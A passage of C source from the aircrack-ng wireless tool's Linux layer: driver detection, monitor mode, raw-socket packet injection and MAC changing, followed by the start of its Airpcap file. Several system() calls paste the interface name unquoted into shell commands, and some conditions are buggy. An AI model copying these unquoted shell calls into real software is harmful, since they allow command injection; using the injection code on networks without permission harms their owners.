SIOCGIFINDEX, &ifr ) < 0 ) // { // printf("Interface %s: \n", iface); // perror( "ioctl(SIOCGIFINDEX) failed" ); // return( 1 ); // } /* lookup the hardware type */ if( ioctl( wi_fd(wi), SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); if( ioctl( wi_fd(wi), SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR && (dev->drivertype != DT_ORINOCO)) ) { return( 1 ); } return( 0 ); } int set_monitor( struct priv_linux *dev, char *iface, int fd ) { int pid, status, unused; struct iwreq wrq; if( strcmp(iface,"prism0") == 0 ) { dev->wl = wiToolsPath("wl"); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wl, "wl", "monitor", "1", NULL); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); } else if (strncmp(iface, "rtap", 4) == 0 ) { return 0; } else { switch(dev->drivertype) { case DT_WLANNG: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl( dev->wlanctlng, "wlanctl-ng", iface, "lnxreq_wlansniff", "enable=true", "prismheader=true", "wlanheader=false", "stripfcs=true", "keepwepflags=true", "6", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return( 1 ); break; case DT_ORINOCO: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "1", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; case DT_ACX: if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( dev->iwpriv, "iwpriv", iface, "monitor", "2", "1", NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); if( WIFEXITED(status) ) return( WEXITSTATUS(status) ); return 1; break; default: break; } memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); wrq.u.mode = IW_MODE_MONITOR; if( ioctl( fd, SIOCSIWMODE, &wrq ) < 0 ) { perror( "ioctl(SIOCSIWMODE) failed" ); return( 1 ); } if(dev->drivertype == DT_AT76USB) { sleep(3); } } /* couple of iwprivs to enable the prism header */ if( ! fork() ) /* hostap */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "monitor_type", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* r8180 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); if( ! fork() ) /* prism54 */ { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "set_prismhdr", "1", NULL ); exit( 1 ); } wait( NULL ); return( 0 ); } static int openraw(struct priv_linux *dev, char *iface, int fd, int *arptype, uchar *mac) { struct ifreq ifr; struct ifreq ifr2; struct iwreq wrq; struct iwreq wrq2; struct packet_mreq mr; struct sockaddr_ll sll; struct sockaddr_ll sll2; /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } memset( &sll, 0, sizeof( sll ) ); sll.sll_family = AF_PACKET; sll.sll_ifindex = ifr.ifr_ifindex; switch(dev->drivertype) { case DT_IPW2200: /* find the interface index */ memset( &ifr2, 0, sizeof( ifr ) ); strncpy( ifr2.ifr_name, dev->main_if, sizeof( ifr2.ifr_name ) - 1 ); if( ioctl( dev->fd_main, SIOCGIFINDEX, &ifr2 ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* set iw mode to managed on main interface */ memset( &wrq2, 0, sizeof( struct iwreq ) ); strncpy( wrq2.ifr_name, dev->main_if, IFNAMSIZ ); if( ioctl( dev->fd_main, SIOCGIWMODE, &wrq2 ) < 0 ) { perror("SIOCGIWMODE"); return 1; } wrq2.u.mode = IW_MODE_INFRA; if( ioctl( dev->fd_main, SIOCSIWMODE, &wrq2 ) < 0 ) { perror("SIOCSIWMODE"); return 1; } /* bind the raw socket to the interface */ memset( &sll2, 0, sizeof( sll2 ) ); sll2.sll_family = AF_PACKET; sll2.sll_ifindex = ifr2.ifr_ifindex; sll2.sll_protocol = htons( ETH_P_ALL ); if( bind( dev->fd_main, (struct sockaddr *) &sll2, sizeof( sll2 ) ) < 0 ) { printf("Interface %s: \n", dev->main_if); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } opensysfs(dev, dev->main_if, dev->fd_in); break; case DT_BCM43XX: opensysfs(dev, iface, dev->fd_in); break; case DT_WLANNG: sll.sll_protocol = htons( ETH_P_80211_RAW ); break; default: sll.sll_protocol = htons( ETH_P_ALL ); break; } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } /* lookup iw mode */ memset( &wrq, 0, sizeof( struct iwreq ) ); strncpy( wrq.ifr_name, iface, IFNAMSIZ ); if( ioctl( fd, SIOCGIWMODE, &wrq ) < 0 ) { /* most probably not supported (ie for rtap ipw interface) * * so just assume its correctly set... */ wrq.u.mode = IW_MODE_MONITOR; } if( ( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL) || ( wrq.u.mode != IW_MODE_MONITOR) ) { if (set_monitor( dev, iface, fd ) && !dev->drivertype == DT_ORINOCO ) { ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } if (set_monitor( dev, iface, fd ) && !dev->drivertype == DT_ORINOCO ) { printf("Error setting monitor mode on %s\n",iface); return( 1 ); } } } /* Is interface st to up, broadcast & running ? */ if((ifr.ifr_flags | IFF_UP | IFF_BROADCAST | IFF_RUNNING) != ifr.ifr_flags) { /* Bring interface up*/ ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } } /* bind the raw socket to the interface */ if( bind( fd, (struct sockaddr *) &sll, sizeof( sll ) ) < 0 ) { printf("Interface %s: \n", iface); perror( "bind(ETH_P_ALL) failed" ); return( 1 ); } /* lookup the hardware type */ if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", iface); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); *arptype = ifr.ifr_hwaddr.sa_family; if( ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211 && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_PRISM && ifr.ifr_hwaddr.sa_family != ARPHRD_IEEE80211_FULL ) { if( ifr.ifr_hwaddr.sa_family == 1 ) fprintf( stderr, "\nARP linktype is set to 1 (Ethernet) " ); else fprintf( stderr, "\nUnsupported hardware link type %4d ", ifr.ifr_hwaddr.sa_family ); fprintf( stderr, "- expected ARPHRD_IEEE80211,\nARPHRD_IEEE80211_" "FULL or ARPHRD_IEEE80211_PRISM instead. Make\n" "sure RFMON is enabled: run 'airmon-ng start %s" " <#>'\nSysfs injection support was not found " "either.\n\n", iface ); return( 1 ); } /* enable promiscuous mode */ memset( &mr, 0, sizeof( mr ) ); mr.mr_ifindex = sll.sll_ifindex; mr.mr_type = PACKET_MR_PROMISC; if( setsockopt( fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mr, sizeof( mr ) ) < 0 ) { perror( "setsockopt(PACKET_MR_PROMISC) failed" ); return( 1 ); } return( 0 ); } /* * Open the interface and set mode monitor * Return 1 on failure and 0 on success */ static int do_linux_open(struct wif *wi, char *iface) { int kver, unused; struct utsname checklinuxversion; struct priv_linux *dev = wi_priv(wi); char *iwpriv; char strbuf[512]; FILE *f; char athXraw[] = "athXraw"; pid_t pid; int n; DIR *net_ifaces; struct dirent *this_iface; FILE *acpi; char r_file[128], buf[128]; struct ifreq ifr; char * unused_str; int iface_malloced = 0; dev->inject_wlanng = 1; dev->rate = 2; /* default to 1Mbps if nothing is set */ /* open raw socks */ if( ( dev->fd_in = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } if( ( dev->fd_main = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); if( getuid() != 0 ) fprintf( stderr, "This program requires root privileges.\n" ); return( 1 ); } /* Check iwpriv existence */ #ifndef CONFIG_LIBNL iwpriv = wiToolsPath("iwpriv"); dev->iwpriv = iwpriv; dev->iwconfig = wiToolsPath("iwconfig"); dev->ifconfig = wiToolsPath("ifconfig"); if (! iwpriv ) { fprintf(stderr, "Can't find wireless tools, exiting.\n"); goto close_in; } #endif /* Exit if ndiswrapper : check iwpriv ndis_reset */ if ( is_ndiswrapper(iface, iwpriv ) ) { fprintf(stderr, "Ndiswrapper doesn't support monitor mode.\n"); goto close_in; } if( ( dev->fd_out = socket( PF_PACKET, SOCK_RAW, htons( ETH_P_ALL ) ) ) < 0 ) { perror( "socket(PF_PACKET) failed" ); goto close_in; } /* figure out device type */ /* mac80211 radiotap injection * detected based on interface called mon... * since mac80211 allows multiple virtual interfaces * * note though that the virtual interfaces are ultimately using a * single physical radio: that means for example they must all * operate on the same channel */ /* mac80211 stack detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/phy80211/subsystem >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_MAC80211_RT; /* IPW2200 detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_IPW2200; /* BCM43XX detection */ memset(strbuf, 0, sizeof(strbuf)); snprintf(strbuf, sizeof(strbuf) - 1, "ls /sys/class/net/%s/device/inject_nofcs >/dev/null 2>/dev/null", iface); if (system(strbuf) == 0) dev->drivertype = DT_BCM43XX; /* check if wlan-ng or hostap or r8180 */ if( strlen(iface) == 5 && memcmp(iface, "wlan", 4 ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "wlancfg show %s 2>/dev/null | " "grep p2CnfWEPFlags >/dev/null", iface); if( system( strbuf ) == 0 ) { if (uname( & checklinuxversion ) >= 0) { /* uname succeeded */ if (strncmp(checklinuxversion.release, "2.6.", 4) == 0 && strncasecmp(checklinuxversion.sysname, "linux", 5) == 0) { /* Linux kernel 2.6 */ kver = atoi(checklinuxversion.release + 4); if (kver > 11) { /* That's a kernel > 2.6.11, cannot inject */ dev->inject_wlanng = 0; } } } dev->drivertype = DT_WLANNG; dev->wlanctlng = wiToolsPath("wlanctl-ng"); } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep antsel_rx >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_HOSTAP; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep GetAcx111Info >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_ACX; } /* enable injection on ralink */ if( strcmp( iface, "ra0" ) == 0 || strcmp( iface, "ra1" ) == 0 || strcmp( iface, "rausb0" ) == 0 || strcmp( iface, "rausb1" ) == 0 ) { memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); } /* check if newer athXraw interface available */ if( ( strlen( iface ) >= 4 || strlen( iface ) <= 6 ) && memcmp( iface, "ath", 3 ) == 0 ) { dev->drivertype = DT_MADWIFI; memset( strbuf, 0, sizeof( strbuf ) ); snprintf(strbuf, sizeof( strbuf ) -1, "/proc/sys/net/%s/%%parent", iface); f = fopen(strbuf, "r"); if (f != NULL) { // It is madwifi-ng dev->drivertype=DT_MADWIFING; fclose( f ); /* should we force prism2 header? */ sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface); f = fopen( (char *) strbuf,"w"); if (f != NULL) { fprintf(f, "802\n"); fclose(f); } /* Force prism2 header on madwifi-ng */ } else { // Madwifi-old memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null", iface ); if( system( strbuf ) == 0 ) { athXraw[3] = iface[3]; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "ifconfig %s up", athXraw ); unused = system( strbuf ); #if 0 /* some people reported problems when prismheader is enabled */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null", iface ); unused = system( strbuf ); #endif iface = athXraw; } } } /* test if orinoco */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_port3", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ORINOCO; memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "iwpriv %s 2>/dev/null | " "grep get_scan_times >/dev/null", iface); if( system( strbuf ) == 0 ) dev->drivertype=DT_AT76USB; } /* test if zd1211rw */ if( memcmp( iface, "eth", 3 ) == 0 ) { if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp( "iwpriv", "iwpriv", iface, "get_regdomain", NULL ); exit( 1 ); } waitpid( pid, &n, 0 ); if( WIFEXITED(n) && WEXITSTATUS(n) == 0 ) dev->drivertype=DT_ZD1211RW; } if( dev->drivertype == DT_IPW2200 ) { snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", iface); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); buf[127]='\x00'; //rtap iface doesn't exist if(strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) goto close_out; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) goto close_out; unused_str = fgets(buf, 128, acpi); } fclose(acpi); //use name in buf as new iface and set original iface as main iface dev->main_if = (char*) malloc(strlen(iface)+1); memset(dev->main_if, 0, strlen(iface)+1); strncpy(dev->main_if, iface, strlen(iface)); iface=(char*)malloc(strlen(buf)+1); iface_malloced = 1; memset(iface, 0, strlen(buf)+1); strncpy(iface, buf, strlen(buf)); } /* test if rtap interface and try to find real interface */ if( memcmp( iface, "rtap", 4) == 0 && dev->main_if == NULL) { memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, iface, sizeof( ifr.ifr_name ) - 1 ); n = 0; if( ioctl( dev->fd_out, SIOCGIFINDEX, &ifr ) < 0 ) { //create rtap interface n = 1; } net_ifaces = opendir("/sys/class/net"); if ( net_ifaces != NULL ) { while (net_ifaces != NULL && ((this_iface = readdir(net_ifaces)) != NULL)) { if (this_iface->d_name[0] == '.') continue; snprintf(r_file, sizeof(r_file), "/sys/class/net/%s/device/rtap_iface", this_iface->d_name); if ((acpi = fopen(r_file, "r")) == NULL) continue; if (acpi != NULL) { dev->drivertype = DT_IPW2200; memset(buf, 0, 128); unused_str = fgets(buf, 128, acpi); if(n==0) //interface exists { if (strncmp(buf, iface, 5) == 0) { fclose(acpi); if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); break; } } else //need to create interface { if (strncmp(buf, "-1", 2) == 0) { //repoen for writing fclose(acpi); if ((acpi = fopen(r_file, "w")) == NULL) continue; fputs("1", acpi); //reopen for reading fclose(acpi); if ((acpi = fopen(r_file, "r")) == NULL) continue; unused_str = fgets(buf, 128, acpi); if (strncmp(buf, iface, 5) == 0) { if (net_ifaces != NULL) { closedir(net_ifaces); net_ifaces = NULL; } dev->main_if = (char*) malloc(strlen(this_iface->d_name)+1); strcpy(dev->main_if, this_iface->d_name); fclose(acpi); break; } } } fclose(acpi); } } if (net_ifaces != NULL) closedir(net_ifaces); } } if(0) fprintf(stderr, "Interface %s -> driver: %s\n", iface, szaDriverTypes[dev->drivertype]); if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0) { goto close_out; } /* don't use the same file descriptor for in and out on bcm43xx, as you read from the interface, but write into a file in /sys/... */ if(!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200)) dev->fd_in = dev->fd_out; else { /* if bcm43xx or ipw2200, swap both fds */ n=dev->fd_out; dev->fd_out=dev->fd_in; dev->fd_in=n; } dev->arptype_in = dev->arptype_out; if(iface_malloced) free(iface); return 0; close_out: close(dev->fd_out); close_in: close(dev->fd_in); if(iface_malloced) free(iface); return 1; } static void do_free(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if(pl->wlanctlng) free(pl->wlanctlng); if(pl->iwpriv) free(pl->iwpriv); if(pl->iwconfig) free(pl->iwconfig); if(pl->ifconfig) free(pl->ifconfig); if(pl->wl) free(pl->wl); if(pl->main_if) free(pl->main_if); free(pl); free(wi); } static void linux_close(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); if (pl->fd_in) close(pl->fd_in); if (pl->fd_out) close(pl->fd_out); if (pl->fd_main) close(pl->fd_main); do_free(wi); } #ifdef CONFIG_LIBNL static void linux_close_nl80211(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); nl80211_cleanup(&state); if (pl->fd_in) close(pl->fd_in); if (pl->fd_out) close(pl->fd_out); do_free(wi); } #endif static int linux_fd(struct wif *wi) { struct priv_linux *pl = wi_priv(wi); return pl->fd_in; } static int linux_get_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd; fd = wi_fd(wi); /* find the interface index */ /* ipw2200 got a file opened as fd */ if(pl->drivertype == DT_IPW2200) { memcpy(mac, pl->pl_mac, 6); return 0; } memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } memcpy( pl->pl_mac, (unsigned char*)ifr.ifr_hwaddr.sa_data, 6); /* XXX */ memcpy(mac, pl->pl_mac, 6); return 0; } static int linux_set_mac(struct wif *wi, unsigned char *mac) { struct priv_linux *pl = wi_priv(wi); struct ifreq ifr; int fd, ret; fd = wi_fd(wi); /* find the interface index */ memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( fd, SIOCGIFHWADDR, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFHWADDR) failed" ); return( 1 ); } // if down ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING); if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; memcpy(ifr.ifr_hwaddr.sa_data, mac, 6); memcpy(pl->pl_mac, mac, 6); //set mac ret = ioctl(fd, SIOCSIFHWADDR, &ifr); //if up ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING; if( ioctl( fd, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } return ret; } static struct wif *linux_open(char *iface) { struct wif *wi; struct priv_linux *pl; wi = wi_alloc(sizeof(*pl)); if (!wi) return NULL; wi->wi_read = linux_read; wi->wi_write = linux_write; #ifdef CONFIG_LIBNL linux_nl80211_init(&state); wi->wi_set_channel = linux_set_channel_nl80211; #else wi->wi_set_channel = linux_set_channel; #endif wi->wi_get_channel = linux_get_channel; wi->wi_set_freq = linux_set_freq; wi->wi_get_freq = linux_get_freq; #ifdef CONFIG_LIBNL wi->wi_close = linux_close_nl80211; #else wi->wi_close = linux_close; #endif wi->wi_fd = linux_fd; wi->wi_get_mac = linux_get_mac; wi->wi_set_mac = linux_set_mac; wi->wi_get_monitor = linux_get_monitor; wi->wi_get_rate = linux_get_rate; wi->wi_set_rate = linux_set_rate; wi->wi_get_mtu = linux_get_mtu; wi->wi_set_mtu = linux_set_mtu; if (do_linux_open(wi, iface)) { do_free(wi); return NULL; } return wi; } struct wif *wi_open_osdep(char *iface) { return linux_open(iface); } int get_battery_state(void) { char buf[128]; int batteryTime = 0; FILE *apm; int flag; char units[32]; int ret; static int linux_apm = 1; static int linux_acpi = 1; if (linux_apm == 1) { if ((apm = fopen("/proc/apm", "r")) != NULL ) { if ( fgets(buf, 128,apm) != NULL ) { int charging, ac; fclose(apm); ret = sscanf(buf, "%*s %*d.%*d %*x %x %x %x %*d%% %d %s\n", &ac, &charging, &flag, &batteryTime, units); if(!ret) return 0; if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1 && batteryTime != -1) { if (!strncmp(units, "min", 32)) batteryTime *= 60; } else return 0; linux_acpi = 0; return batteryTime; } } linux_apm = 0; } if (linux_acpi && !linux_apm) { DIR *batteries, *ac_adapters; struct dirent *this_battery, *this_adapter; FILE *acpi, *info; char battery_state[128]; char battery_info[128]; int rate = 1, remain = 0, current = 0; static int total_remain = 0, total_cap = 0; int batno = 0; static int info_timer = 0; int batt_full_capacity[3]; linux_apm=0; linux_acpi=1; ac_adapters = opendir("/proc/acpi/ac_adapter"); if ( ac_adapters == NULL ) return 0; while (ac_adapters != NULL && ((this_adapter = readdir(ac_adapters)) != NULL)) { if (this_adapter->d_name[0] == '.') continue; /* safe overloaded use of battery_state path var */ snprintf(battery_state, sizeof(battery_state), "/proc/acpi/ac_adapter/%s/state", this_adapter->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; if (acpi != NULL) { while(fgets(buf, 128, acpi)) { if (strstr(buf, "on-line") != NULL) { fclose(acpi); if (ac_adapters != NULL) closedir(ac_adapters); return 0; } } fclose(acpi); } } if (ac_adapters != NULL) closedir(ac_adapters); batteries = opendir("/proc/acpi/battery"); if (batteries == NULL) { closedir(batteries); return 0; } while (batteries != NULL && ((this_battery = readdir(batteries)) != NULL)) { if (this_battery->d_name[0] == '.') continue; snprintf(battery_info, sizeof(battery_info), "/proc/acpi/battery/%s/info", this_battery->d_name); info = fopen(battery_info, "r"); batt_full_capacity[batno] = 0; if ( info != NULL ) { while (fgets(buf, sizeof(buf), info) != NULL) if (sscanf(buf, "last full capacity: %d mWh", &batt_full_capacity[batno]) == 1) continue; fclose(info); } snprintf(battery_state, sizeof(battery_state), "/proc/acpi/battery/%s/state", this_battery->d_name); if ((acpi = fopen(battery_state, "r")) == NULL) continue; while (fgets(buf, 128, acpi)) { if (strncmp(buf, "present:", 8 ) == 0) { /* No information for this battery */ if (strstr(buf, "no" )) continue; } else if (strncmp(buf, "charging state:", 15) == 0) { /* the space makes it different than discharging */ if (strstr(buf, " charging" )) { fclose( acpi ); return 0; } } else if (strncmp(buf, "present rate:", 13) == 0) rate = atoi(buf + 25); else if (strncmp(buf, "remaining capacity:", 19) == 0) { remain = atoi(buf + 25); total_remain += remain; } else if (strncmp(buf, "present voltage:", 17) == 0) current = atoi(buf + 25); } total_cap += batt_full_capacity[batno]; fclose(acpi); batteryTime += (int) (( ((float)remain) /rate ) * 3600); batno++; } info_timer++; if (batteries != NULL) closedir(batteries); } return batteryTime; } aircrack-ng-1.2-beta3/src/osdep/airpcap.c0000644000000000000000000002250412153517342016721 0ustar rootroot /* * Copyright (c) 2007-2013 Thomas d'Otreppe * * Airpcap stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef HAVE_AIRPCAP #include #include #include #include #include #include #include "osdep.h" //------------------ PPI --------------------- #define PPH_PH_VERSION ((u_int8_t)0x00) #define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t)0x02) typedef struct _PPI_PACKET_HEADER { u_int8_t PphVersion; u_int8_t PphFlags; u_int16_t PphLength; u_int32_t PphDlt; } PPI_PACKET_HEADER, *PPPI_PACKET_HEADER; typedef struct _PPI_FIELD_HEADER { u_int16_t PfhType; u_int16_t PfhLength; } PPI_FIELD_HEADER, *PPPI_FIELD_HEADER; typedef struct _PPI_FIELD_802_11_COMMON { u_int64_t TsfTimer; u_int16_t Flags; u_int16_t Rate; u_int16_t ChannelFrequency; u_int16_t ChannelFlags; u_int8_t FhssHopset; u_int8_t FhssPattern; int8_t DbmAntSignal; int8_t DbmAntNoise; } PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON; #define DEVICE_PREFIX "\\\\.\\" #define DEVICE_COMMON_PART "airpcap" PAirpcapHandle airpcap_handle; /** * Check if the device is an Airpcap device * @param iface Interface name * @return 1 if it is an Airpcap device, 0 if not */ int isAirpcapDevice(const char * iface) { char * pos; int len; pos = strstr(iface, DEVICE_COMMON_PART); // Check if it contains "airpcap" if (! pos) return 0; if (pos != iface) { // Check if it begins with '\\.\' if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface) return 0; } len = strlen(iface); // Checking that it contains 2 figures at the end. // No need to check for length, it was already done by the first check if (! (isdigit((int)iface[len - 1])) || !(isdigit((int)iface[len - 2]))) return 0; return 1; } /** * Parse information from a PPI packet (will be used later). * @param p packet * @param caplen Length of the packet * @param hdrlen Length of the header * @param power pointer that will contains the power of the packet * @return 0 if successful decoding, 1 if it failed to decode */ int ppi_decode(const u_char *p, int caplen, int *hdrlen, int *power) { PPPI_PACKET_HEADER pPpiPacketHeader; PPPI_FIELD_HEADER pFieldHeader; ULONG position = 0; // Sanity checks if (caplen < (int)sizeof(*pPpiPacketHeader)) { // Packet smaller than the PPI fixed header return( 1 ); } pPpiPacketHeader = (PPPI_PACKET_HEADER)p; *hdrlen = pPpiPacketHeader->PphLength; if(caplen < *hdrlen) { // Packet smaller than the PPI fixed header return( 1 ); } position = sizeof(*pPpiPacketHeader); if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION) { fprintf( stderr, "Unknown PPI packet header version (%u)\n", pPpiPacketHeader->PphVersion); return( 1 ); } do { // now we suppose to have an 802.11-Common header if (*hdrlen < (int)(sizeof(*pFieldHeader) + position)) { break; } pFieldHeader = (PPPI_FIELD_HEADER)(p + position); position += sizeof(*pFieldHeader); switch(pFieldHeader->PfhType) { case 